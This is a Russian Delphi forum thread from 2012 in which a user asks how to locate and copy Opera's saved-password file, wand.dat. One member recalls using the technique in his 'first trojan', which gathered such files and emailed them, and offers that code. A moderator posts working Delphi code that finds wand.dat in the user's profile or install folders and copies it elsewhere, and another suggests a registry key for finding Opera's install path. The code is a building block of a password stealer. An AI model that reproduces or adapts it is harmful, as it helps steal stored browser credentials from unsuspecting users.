Воскресенье, 17.12.2017, 15:02 Приветствую вас Гость | Группа "Гости" 


[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 11
Модератор форума: xXxSh@dowxXx, Anton93, Волк-1024 
delfcode » Delphi » Вопросы по Delphi » Как найти файл зная его имя?
Как найти файл зная его имя?
toly19Дата: Пятница, 20.07.2012, 16:07 | Сообщение # 1
Был не раз
Зарегистрирован: 25.05.2012
Группа: Пользователи
Сообщений: 13
Статус: Offline
Как найти и скопировать файл зная только его название?
 
NeoДата: Пятница, 20.07.2012, 16:37 | Сообщение # 2
Модератор
Зарегистрирован: 04.05.2010
Группа: Модераторы
Сообщений: 316
Статус: Offline
Скопировать,зная только название без пути,или,зная и название и путь?
 
xXxSh@dowxXxДата: Пятница, 20.07.2012, 18:04 | Сообщение # 3
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
Как минимум нужно знать его название и расширение, иначе по одному только названию ты можешь так пол компа перекопировать biggrin
 
Don_DiegoДата: Пятница, 20.07.2012, 18:38 | Сообщение # 4
Продвинутый
Зарегистрирован: 16.04.2012
Группа: Пользователи
Сообщений: 251
Статус: Offline
Эм, когда-то в самом первом троянце использовал такую систему. Там он находил такие файлы, склеивал их в один, потом отправлял на мыло. Дальше с помощью специальной утилиты распаковывался, причем учитывалось что с одинаковым названием могут быть несколько файлов. Но способ немного муторный, хотя если заинтересует - поделюсь кодом, хотя там функции с инета были взяты.
 
artemukДата: Пятница, 20.07.2012, 23:41 | Сообщение # 5
Был не раз
Зарегистрирован: 31.05.2010
Группа: Пользователи
Сообщений: 17
Статус: Offline

Копирование - CopyFile
 
toly19Дата: Суббота, 21.07.2012, 13:04 | Сообщение # 6
Был не раз
Зарегистрирован: 25.05.2012
Группа: Пользователи
Сообщений: 13
Статус: Offline
зная имя и расширение кстати это файл паролей оперы wand.dat как его найти?
 
Don_DiegoДата: Суббота, 21.07.2012, 14:18 | Сообщение # 7
Продвинутый
Зарегистрирован: 16.04.2012
Группа: Пользователи
Сообщений: 251
Статус: Offline
Quote (toly19)
зная имя и расширение кстати это файл паролей оперы wand.dat как его найти?

Функция была взята с инета, немного подкорректирована:



Пример использования:



Из непоняток будет что такое процедура SaveToFile? Обычное сохранение в лог, впрочем не суть важно куда результат девать. Вот и вторая непонятка:



Вот и список id папок:

 
NeoДата: Суббота, 21.07.2012, 15:31 | Сообщение # 8
Модератор
Зарегистрирован: 04.05.2010
Группа: Модераторы
Сообщений: 316
Статус: Offline
Пароли от опреры хронатся в:
X:\Documents and Settings\Home\Application Data\Opera\Opera\profile
или бывает у некоторых ещё
X:\Program Files\Opera\profile\wand.dat
В других местах искать нет смысла.
Вот код:
Code

function GetDOSEnvVar(const VarName: string): string;
var
       i: integer;
begin
       Result := '';
       try
         i := GetEnvironmentVariable(PChar(VarName), nil, 0);
         if i > 0 then
         begin
           SetLength(Result, i);
           GetEnvironmentVariable(Pchar(VarName), PChar(Result), i);
         end;
       except
         Result := '';
       end;
end;

function GetLatter:String;
Var
       C:array[0..255] of char;
       S:string;
begin
       GetWindowsDirectory(C,255);
       S:=String(C);
       Result:=Copy(S,1,3);
end;

procedure TForm1.Button1Click(Sender: TObject);
Var
       S,path,output:String;
begin
       path:=GetDOSEnvVar('APPDATA');
       S:=GetLatter+'Program Files\Opera\profile\wand.dat';
       output:='D:\wand.dat';
       delete(path,Length(path),1);
       path:=path+'\Opera\Opera\profile\wand.dat';       

       if FileExists(path) then
         CopyFile(PANSIChar(path),PANSIChar(output), false)  else
       if FileExists(S) then
         CopyFile(PANSIChar(S), PANSIChar(output), false)  else
end;



Сообщение отредактировал Neo - Суббота, 21.07.2012, 15:34
 
toly19Дата: Воскресенье, 22.07.2012, 15:24 | Сообщение # 9
Был не раз
Зарегистрирован: 25.05.2012
Группа: Пользователи
Сообщений: 13
Статус: Offline
но ведь не все устанавливают в "X:\Program Files\" кто то модет установить в папку windows а кто то на другой диск
 
NeoДата: Воскресенье, 22.07.2012, 15:48 | Сообщение # 10
Модератор
Зарегистрирован: 04.05.2010
Группа: Модераторы
Сообщений: 316
Статус: Offline
Кто тыкает далее,далеее,готово,то там.
 
xXxSh@dowxXxДата: Воскресенье, 22.07.2012, 18:31 | Сообщение # 11
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
toly19 возьми за основу функцию поиска по заданному параметру "Opera\profile\wand.dat", тем более что если тебе нужно конкретно из Оперы, то для определения папки в которой она установлена просто проверь ключ реестра:
Code

HKEY_CLASSES_ROOT\http\shell\open\command


PS: вариантов много, для простых задач можно и так сделать, а для более сложных, например поиск обычного (ни к чему не относящегося) файла в дебрях системы зная только его имя и расширение лучше юзать предложенные функции...


Сообщение отредактировал xXxSh@dowxXx - Воскресенье, 22.07.2012, 18:34
 
delfcode » Delphi » Вопросы по Delphi » Как найти файл зная его имя?
Страница 1 из 11
Поиск:

delfcode.ru © 2008 - 2017 Хостинг от uCoz